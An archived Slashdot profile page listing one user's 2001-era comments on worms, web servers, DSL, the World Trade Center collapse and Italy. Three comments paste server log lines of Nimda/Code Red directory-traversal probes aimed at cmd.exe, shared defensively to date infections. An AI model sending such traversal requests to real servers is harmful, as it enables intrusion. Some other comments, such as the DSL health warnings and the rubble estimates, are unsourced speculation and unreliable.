Slashdot Mirror


User: MS

MS's activity in the archive.

Stories
0
Comments
263
First seen
Last seen
Profile
(view on slashdot.org)

Comments · 263

  1. Nimda around since July? on Tarpits for Microsoft Worms · · Score: 3, Informative
    Some additions w/r to Nimda:

    Strange: of the 27 hosts (IP-based) I run on a single box, the most popular got probed first, not the server with the lowest IP-number, so the worm seems not attacking the IP-numbers sequentially, but rather due to some reference somewhere else. This may also explain, why it spread so quickly: if the worm could replicate itself from a popular webserver, the chances are good for a quicker spread among many surfers... This worm is really an excellent piece of code - kudos to its author!

    And here are some log-entries from another box (NT runnung Apache):

    First suspect entries on July 12(!):

    My Timezone is GMT+1 (That's mid-europe, one hour ahead of Great Britain)
    (SR) stand for ServerRoot which I omitted here

    [Thu Jul 12 03:39:40 2001] [209.3.150.130] File does not exist: (SR)/scripts/..%5c..%5cwinnt/system32/cmd.exe
    [Thu Jul 12 03:39:42 2001] [209.3.150.130] File does not exist: (SR)/msadc/..%5c/..%5c/..%5c/winnt/system32/cmd.ex e
    [Thu Jul 12 03:39:43 2001] [209.3.150.130] File does not exist: (SR)/_vti_bin/../../../../../../winnt/system32/cmd .exe

    I had a few more interesting logs between Jul 28 and Aug 30... but the /. Lameness filter considers it a Junk character post, so I had to shorten it...

    May this information be useful for someone!
    ms

  2. Re:Worm check out hit on Jul 12(!) on New (More) Annoying Microsoft Worm Hits Net · · Score: 1
    I hab massive suspect GET-requests on Aug 30 (see my other posting: "Firs infections: Aug 30"), while the first requests I found with exactly the same pattern as yesterdays nimda hit my server on Jul 12 (so the worm was maybe around for quite a long time sleeping?).

    Here are the log-entries:

    mail.worcestercs.org - - [12/Jul/2001:03:39:40 +0200] "GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+d ir+c:%5C HTTP/1.0" 404 2004 "-" "libwww-perl/5.45"
    mail.worcestercs.org - - [12/Jul/2001:03:39:42 +0200] "GET /msadc/..%255c../..%255c../..%255c../winnt/system3 2/cmd.exe?/c+dir+c:%5C HTTP/1.0" 404 2004 "-" "libwww-perl/5.45"
    mail.worcestercs.org - - [12/Jul/2001:03:39:43 +0200] "GET /_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system 32/cmd.exe?/c+dir+c:%5C HTTP/1.0" 404 2004 "-" "libwww-perl/5.45"

    ms

  3. First infections: Aug 30! on New (More) Annoying Microsoft Worm Hits Net · · Score: 1
    Analysing the logs of one of my boxes (I got hit over 37000 time by nimda in less then 5 hours yesterday), I observed the same pattern of invalid GET requests on August 30 from 213.64.199.226 (that belongs to TeliaNet)

    the interesting thing ist, that are are many similar requests, and it looks like someone trying to infect my server with different syntaxes (with some kind of script as the requests are fast one after another). My Server is a WinNT 4.0 box with IBM WebSphere (thats Apache), so it should not be affected by the usual IIS holes, but the attacker probably couldn't know that...

    Here's the relevant part from my error_log (I substituted the document-root and script-root with DR and SR for obvious reasons), btw: the time is GMT+1 (mid-europe):
    [Thu Aug 30 15:18:00 2001] File does not exist: (DR)/scripts/..ü~@~@~@~@/winnt/system32/cmd.exe
    [Thu Aug 30 15:18:00 2001] File does not exist: (DR)/scripts/..ø~@~@~@/winnt/system32/cmd.exe
    [Thu Aug 30 15:18:01 2001] File does not exist: (DR)/scripts/..ð~@~@/winnt/system32/cmd.exe
    [Thu Aug 30 15:18:01 2001] File does not exist: (DR)/scripts/..à~@/winnt/system32/cmd.exe
    [Thu Aug 30 15:18:01 2001] File does not exist: (DR)/iisadmpwd/..À..À..À..À..À/winnt/system32 /cmd.exe
    [Thu Aug 30 15:18:01 2001] File does not exist: (DR)/scripts/..à~@/..à~@/..à~@/winnt/system32/c md.exe
    [Thu Aug 30 15:18:01 2001] File does not exist: (DR)/iisadmpwd/..%2f..%2f..%2f..%2f..%2f..%2fwinnt /system32/cmd.exe
    [Thu Aug 30 15:18:02 2001] File does not exist: (DR)/scripts/..Á/winnt/system32/cmd.exe
    [Thu Aug 30 15:18:02 2001] (2)No such file or directory: script not found or unable to stat: (SR)/cgi-bin//..%5c..%5c..%5c..%5c..%5c..%5cwinnt
    [Thu Aug 30 15:18:02 2001] File does not exist: (DR)/scripts/..Á~\/winnt/system32/cmd.exe
    [Thu Aug 30 15:18:02 2001] File does not exist: (DR)/adsamples/..À..À..À..À..À/winnt/system32 /cmd.exe
    [Thu Aug 30 15:18:02 2001] File does not exist: (DR)/scripts/..Á~\/winnt/system32/cmd.exe
    [Thu Aug 30 15:18:03 2001] File does not exist: (DR)/adsamples/..%5c..%5c..%5c..%5c..%5c..%5cwinnt /system32/cmd.exe
    [Thu Aug 30 15:18:03 2001] File does not exist: (DR)/scripts/..Á~\/winnt/system32/cmd.exe
    [Thu Aug 30 15:18:03 2001] File does not exist: (DR)/_vti_cnf/..À..À..À..À..À/winnt/system32/ cmd.exe
    [Thu Aug 30 15:18:03 2001] File does not exist: (DR)/_vti_cnf/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/ system32/cmd.exe
    [Thu Aug 30 15:18:03 2001] File does not exist: (DR)/scripts/..Á~\..Á~\..Á~\..Á~\winnt/system32/cm d.exe
    [Thu Aug 30 15:18:03 2001] File does not exist: (DR)/_vti_bin/..À/..À/..À/winnt/system32/cmd.ex e
    [Thu Aug 30 15:18:04 2001] File does not exist: (DR)/_vti_bin/..À/..À/..À/winnt/system32/cmd.ex e
    [Thu Aug 30 15:18:04 2001] File does not exist: (DR)/_vti_bin/..À..À..À..À..À/winnt/system32/ cmd.exe
    [Thu Aug 30 15:18:04 2001] File does not exist: (DR)/scripts/..Á^\/winnt/system32/cmd.exe
    [Thu Aug 30 15:18:04 2001] File does not exist: (DR)/_vti_bin/..%5c..%5c..%5c..%5c..%5c/winnt/syst em32/cmd.exe
    [Thu Aug 30 15:18:04 2001] File does not exist: (DR)/scripts/..Á^\..Á^\..Á^\..Á^\winnt/system32/cm d.exe
    [Thu Aug 30 15:18:05 2001] File does not exist: (DR)/_vti_bin/..%5c..%5c..%5c..%5c..%5c/winnt/syst em32/cmd.exe
    [Thu Aug 30 15:18:06 2001] File does not exist: (DR)/scripts/..À/winnt/system32/cmd.exe
    [Thu Aug 30 15:18:06 2001] File does not exist: (DR)/scripts/..À..À..À..Àwinnt/system32/cmd.ex e
    [Thu Aug 30 15:18:06 2001] File does not exist: (DR)/scripts/..À..À..À..À/winnt/system32/cmd.e xe
    [Thu Aug 30 15:18:07 2001] File does not exist: (DR)/scripts/..%5c..%5cwinnt/system32/cmd.exe
    [Thu Aug 30 15:18:08 2001] File does not exist: (DR)/scripts/..%2f..%2f..%2f..%2fwinnt/system32/cm d.exe
    [Thu Aug 30 15:18:08 2001] File does not exist: (DR)/scripts..á~\/winnt/system32/cmd.exe
    [Thu Aug 30 15:18:09 2001] File does not exist: (DR)/samples/..À..À..À..À..À/winnt/system32/c md.exe
    [Thu Aug 30 15:18:09 2001] File does not exist: (DR)/samples/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/s ystem32/cmd.exe
    [Thu Aug 30 15:18:10 2001] File does not exist: (DR)/rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe
    [Thu Aug 30 15:18:10 2001] File does not exist: (DR)/rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe
    [Thu Aug 30 15:18:11 2001] File does not exist: (DR)/pbserver/..%5c..%5c..%5cwinnt/system32/cmd.ex e
    [Thu Aug 30 15:18:12 2001] File does not exist: (DR)/à/~@/à/~@/à/~@//winnt/system32/cmd.exe/
    [Thu Aug 30 15:18:12 2001] File does not exist: (DR)/à/~@/à/~@/à/~@//winnt/system32/cmd.exe
    [Thu Aug 30 15:18:13 2001] File does not exist: (DR)/msadc/..À/..À/..À/winnt/system32/cmd.exe
    [Thu Aug 30 15:18:13 2001] File does not exist: (DR)/msadc/..%5c/..%5c/..%5c/winnt/system32/cmd.ex e
    [Thu Aug 30 15:18:13 2001] File does not exist: (DR)/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd. exe
    [Thu Aug 30 15:18:14 2001] File does not exist: (DR)/msadc/..%5c/..%5c/..%5c/winnt/system32/cmd.ex e
    [Thu Aug 30 15:18:14 2001] File does not exist: (DR)/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd. exe

    Does someone have an explanation?

    ms

  4. Ellison last week on Why The U.S. Surrendered To Microsoft · · Score: 1
    Last week Ellison (Oracle) was in Italy on holidays and got interviewed by an italian journalist. One of the questions was about what he thinks about the decision not to split Microsoft. Ellisons answer (translated):

    "Microsoft is like an evil dragon: if you split it in two, you will have two dragons... so it is better for us not to split Microsoft, but instead put it in a cage and watch it close"

    ms
    --
  5. Re:Distribution of rubble on A Tale of Two Media:Tragedy and Images · · Score: 1
    There's not only the height of the floor (maybe only 20 cm, but that would be verrrry thin), but also the volume of vertical walls, filled cupboards, desks, computers, human bodies, ...
    I think this all adds up to at least another 30 cm when evenly distributed over the floor. Result: around 50 cm per floor.

    And well, the resulting hill of debris is surely not a cube, but something like a pyramid, with the bottom twice as large as the tower was, and the top like a peak, but with the same height.

    [XX]
    [XX]

    /X\
    /XXX\

    the above ascii-art shows the same volume as a cube, and as a pyramid-like

    Most of the compacted matter still has to be under the ground level (as to my estimates), or do you really think, the ground floor could resist the impact from 110 accelerating stories coming down?

    ms
    --

  6. Re:Maybe not that small of a pile on A Tale of Two Media:Tragedy and Images · · Score: 1
    the tunnel under the towers must have caved in too - two reasons for it:

    • the towers were over 400 meters high, that's about 4 meters per story
    • 110 stories, when collapsing I assume each one reduced to 0,5 meters (= 20 inches), which gives 55 meters high of rubble (= over 180 foot)
    • on TV I heard there are only 5 stories of rubble left, that is 20 meters (= 65 foot) of rubble
    • so there are missing 35 meters of rubble (more that half of the whole towers)! They can be only under the ground level
    The other reason why the ground level must have caved in too is:
    • the top 20 stories (or so) fell on the underlying floor (due to overheated structures)
    • the floor couldn't hold the weight, and collapsed upon the lower one, adding its weight to it
    • every story added its weight to the lower one, resulting in an accelerating "lasagne"-like collapsing of the towers, as we could see on TV
    • even if the ground level could hold 110 stories of rubble - it sure coudn't resist the momentum of the amount of rubble clashing down on it
    So I assume there is one sigle big "lasagne" down till the bottom of the subway tunnel. No one could have survived it, an those who survived in a hole will soon miss the air.

    ms

  7. Re:High frequency magnetic fields... on High-speed Internet Access: Power Lines For Real · · Score: 1
    Yes, but I don't notice anything: neither on my monitor (a 15" TFT), neither on the radio (sound is clean).

    But I know, the image on the CRT will be distorted and have blue/magenta color-shades on the angles, when I put the speakers very near to the monitor, at about an inch or so... I think this is due to a magnetic field attraction of the crt-beam, and that's also why the speakers inside monitors or the ones you get with your PC are very lightweight and low-power - so they don't interfere...

    With DSL I cannot listen to the radio even when the radio is in the next room (hundreds of inches away!!!)

    ms

  8. High frequency magnetic fields... on High-speed Internet Access: Power Lines For Real · · Score: 1
    Like with DSL, also the Internet over Powerlines relies on high-frequency signals (= radio waves) over the cable. Until a few months ago, these frequencies were prohibited, and only licensed radio stations could use this spectrum. Having such a cable to your home (dsl or power line) is like having a big powerful antenna into your home.

    What about the impact on our health? I know, the impact of high frequency magnetic fields is not fully studied, and even scientists disagree... So aren't we pushing for radio-antennas to stay far away from our homes? Didn't someone tell us, that having a cellular phone near our brain may cause damages? And now we want this high-frequency antennas to our homes, and to our desktop???

    For now, Internet users praise the speed, but soon people will realize and avoid DSL and the like for sake of their health.

    In Italy Telecom Italia doesn't install more than 2 DSL lines for each building, due to "intereference" problems. Ever tried to listen to MW or LW radio inside a radius of 5 meters from a DSL cable or DSL modem??? You hear only noise!

    think about it!

    (I use ADSL in our office, and we are happy with it, but I wouldn't want in in my home)

    ms

  9. OT: /. login problems... on CVS Infrastructure · · Score: 0, Offtopic
    On alternate days I'm unable to login to slashdot: after I put my useir and pwd in the left box, the homepage is shown again, and in the location bar I see some GET-parameters, among them my pwd in clear(!). I'm unable to login, and I'm also unable to post... problems with handling cookies server-side?

    No wonder, most articles have unusual few comments. Is the new slashdot so buggy? Could I give you more information that helps you debug it?

    Oh, btw.: when will the search function be available again?

    Bye, Markus --

  10. Trojan that kills Windows on Viruses, Trojans And Worms -- Unplugged? · · Score: 1
    Today on c|net there's an article about "Tojan.Offensive", a trojan, that will f*ck up the Windows registry, when you click on a button in an e-mail:

    Trojan horse goes on the offensive

    Well, now I know why I deactivated ActiveX on all Win-boxes I use, and never missed it, except when trying to use the Windows-Update-Function: to update you Win-box, you first need to make it insecure by enabling ActiveX...

    :-)
    ms

  11. Re:small survey on Code Redux · · Score: 1
    Many of the "Under Construction" pages or "successful IIS install" are in reality multi-homed webservers. This is the page you get per default, if you don't specify any hostname.

    You may look up the IP-Adress on netcraft.com and see which other webservers are running at the same Netblock Owner, you'll be surprised!

    Meanwhile the Hits from CoderRed on my Server have reached 12000 (yes, it's a multi-IP-server), and are doubling every 2 days with no end in sight!!!

    bye
    Markus S. --

  12. Re:Help track this: submit your logs to dshield! on Code Red II: Shells for the Taking · · Score: 1
    UNIX - a bad idea 20 years ago a fucking nightmare now.

    That may be true for you - I enjoy using Unix/Linux (I use it on several servers), while it is a nightmare for me administering NT-Boxes (Yes, I administer also an NT-Server)

    And yes, I use grep all the day for various tasks, in cronscripts, from command-line... and it is one of the most useful pieces of "UNIX" together with sed, awk and others. Maybe you have grep on your NT-box - I don't, or at least I didn't find it.

    But then, maybe you are kidding me and simply forgot to put a smiley there.

    ms

  13. Re:Help track this: submit your logs to dshield! on Code Red II: Shells for the Taking · · Score: 1
    You're an NT-Admin?
    And you have grep on your NT-box right?
    Not really!
    That's why NT-Admins always need 3rd party software, even for such basic tasks as extracting lines from a logfile for submitting them to DSHIELD.

    :-)
    ms
    --

  14. Oetzi Pictures here! on Iceman Murdered by Arrow in the Back · · Score: 2
    The official site for the Oetzi Museum ist here:

    http://www.iceman.it/

    Bye
    Markus
    --
    PS: I'could be one of Ötzis descendants... he was found a few km from my home... :-)

    PPS: 90% of all replys to this article are rated "funny" - I hope at least mine will be moderated as "informative" ;-)

  15. Re:Teoma gives wrong results on Google To Gain a Rival? · · Score: 1
    Sorry, obviously a typo, it should be Win98.

    :-)
    Markus
    --

  16. Re:Teoma gives wrong results on Google To Gain a Rival? · · Score: 3
    I searched for different words, here's what I got:
    • some results are totally unrelated to the word(s) I inserted
    • results with Umlauts are shown in a wrong character-set, resulting in garbage
    • the number of the results is only 1/5 ~ 1/10 of the results Google or Altavista give for the same searchterm, so I suppose Theoma has indexed only a 10th of the pages other searchengines have
    • Oh, they use Helvetica... it looks really ugly on my Win89Box, with some adiacent characters overlapping
    • and well, I love Google Groups, the Google Cache, the changing Google Logo, the ability to try the search on other engines...
    Theoma has a loooong way to go, but then: also Google took 2 years to beat Altavista, so for Theoma there may lay another 2 years ahead... Since Altavista revamped their search-algorithm, and speeded up their interface, when Google arrived; the same will happen again: Google AND Altavista will make their search better again.

    just my 2 c
    ms

  17. between then and now on The Tenth Birthday Of The World Wide Web · · Score: 3
    At about half way between 1991 and now, there are some interesting numbers:
    • (1969): birth of the Internet
    • 1991: birth of the World-Wide Web (Yes, then it was written with a "-" between the 1st and 2nd word)
    • 1993: 90% of the webbrowsers were XMosaic (running on Unix), the rest were linemode browsers and some exotic homemade browsers (I too developed one - today unfortunately unusable!)
    • 1994: 70% of all webservers run on SunOS/Solaris, the rest are HP-UX, SGI, AIX and some other Unices (no Microsoft OS on the radar)
    • 1995: 25.000.000 Internet users (now we are about 400.000.000)
    • 1996: 90% of all browsers are Netscape
    • 2001: 70% of the Internet users use MSIE
    • 2001: 75% of the webservers run on Linux or some Unix variant (still Microsoft has eaten only around 20% of the server cake)

    Enjoy it!
    Markus

  18. similar experiment by Cern/INFN on Giant Neutrino Detector, 2km Underground · · Score: 1
    Look here: http://ngs.web.cern.ch/NGS/

    There's a neutrino beam at CERN (north of the Alps) sending neutrinos which get detected in southern Italy 6km deep inside the Gran Sasso mountain.

    ms

  19. Wooden penguin, handpainted! on Beastie in Bronze · · Score: 1
    If you're interested, we may produce penguins (Tux) or other "beasties" made of wood and handpainted by professional artworkers.

    If many of you interested, I may ask how much it would cost massproducing them (probably a 6inch/15cm statuette will cost about 60 US$).

    Markus
    --

  20. Fact: Hotmail still uses FreeBSD!!! on Linux Is Going Down · · Score: 1
    While *most* frontend webservers at hotmail are now running windows2000 (after 2 years of struggling to get it done!), not all are. Also Netcraft confirmed this a few days after their incomplete announcement, but most of you obviusly missed it.

    Go to Netcraft and guess for the following hosts:

    • gfx.law9.hotmail.com
    • gfx.law10.hotmail.com
    • gfx.pav1.hotmail.com
    They're all happily running FreeBSD.
    And the backend still runs with Oracle on Solaris.

  21. Re:10% ? on Will Browser-Neutral Web Soon Become Thing Of Past? · · Score: 2
    The article says: "...on online study found", but doesn't say who actually did the study. I'm quite sure the study in question was biased, and that's the reason, the author remains undisclosed.

    My experience (I administer various popular websites with thousands of visitors a day each) is as follows:

    Freeweb/Warez/Fun Sites:

    • 69-70% MSIE 5.X
    • 9,3-12% Mozilla 4.X
    • 4,4-11% MSIE 4.X
    • 2,6-3,8% Searchengines/Other
    • 0,8-0,9% Mozilla 3.X
    • 0,5-0,8% Mozilla 5.X
    • 0-1,8% MSIE 2.X
    • 0% MSIE 3.X
    News/E-Commerce sites:
    • 65-66% MSIE 5.X
    • 19,6-20% Mozilla 4.X
    • 8,9-10% MSIE 4.X
    • 1,5-1,9% Searchengines/Other
    • 0,3-1,4% Mozilla 3.X
    • 0,3% MSIE 3.X
    • 0,2-0,3% Mozilla 5.X
    • 0% MSIE 2.X
    (Data is taken from Weblogs of January 2001)

    So you can see: MSIE has at most 76% Marketshare and Netscape reaches 22% when it comes to e-commerce sites (and e-commerce sites tend to enable access to ALL potential customers, as their goal is to sell goods to EVERYONE).

    ms

  22. You're quite wrong! on Will Americans Have Trouble Finding IT Jobs, Overseas? · · Score: 1
    I live in Italy, and have a PhD in CS...

    I'm a freelance consultant, so my salary doesn't count, but my collegues (with and without PhD) earn about 3.600.000 lire a month, and you get 15 months payment fo about 11 months of work...(that's about 25.000 US$ a year)

    Food in Italy is excellent, there's no other country in the world, where it could be better. If you prefer hamburgers, well, we have MC Donalds here too. US-citizens are used to eat big unwhealty steaks - that's why 50% of americans are overweighted, while 95% of Italians instead have a top-body!

    Well: appartments are expensive, so there's no wonder, we live with our family till the age of 30 or till we marry...

    Nightlife, nature, culture, people, fashion, the sea and the mountains are spectacular - it's worth its price.

    BTW: a beer or coke costs about 1.5 US$, cellular phone contracts are free (70% of italians have a GSM phone now!) and you pay as little as 10 cents per minute, while for surfing the internet you should better get a flat-contract.

    Obviously you weren't in Italy for a long, long time - things change quickly!

    ms

  23. Re:"I'm not a US Citizen" wins!!!! on The Full Nader Plus a Taste of Bush and Gore · · Score: 1
    I would rather ask: "how many non-US citizens didn't even participate in this poll?". Usually non US-citizens do not bother if Nader, Bush, Gore or anyone else is winning - it's not their country.

    In fact, only 39% of all Internet users are US-citizens.

    So this poll shows either of 3 possibilities (or a combinationsof them), assuming 25% voted "I'm not an US citizen":

    • about 75% of all /.-readers are US-citizens
    • about 36% of all /.-readers have expressed their preference in this poll but aren't actually allowed to vote (not being US-citizens)
    • about 46% of all /.-readers did not participate in this poll not being US-citizens
    Ciao,
    ms
  24. That can only be wrong data! on Apache vs IIS in Performance? · · Score: 1
    My box (an old Pentium 166 with 64 MB RAM online since 1997) runs Apache 1.2b10, PostgreSQL, and several PHP scripts with an average load of 0.02.

    This box is serving about 300K hits per hour! So the figure of a max of 100K per day is far too low!

    The DELL box should easily handle millions of hits a day. The data as shown on your sheet cannot be correct; not for IIS and neither for Apache.


    ms

  25. Re:War is the solution to most problems.. on How Do Linux and Windows 2000 Compare? · · Score: 1
    Microsoft dominating the Server Revolution...?

    In Germany one webserver out of two runs Linux. And in other modern countries the numbers aren't quite different. NT serves an astonishing 19%. Astonishing? Yes, because NT or Win2000 still costs triple in maintenance and managers still haven't understood the difference between bloatware and software that actually WORKS.

    No other OS is gaining faster market share than Linux. So how could you talk about "soon to disappear Linux"?

    ms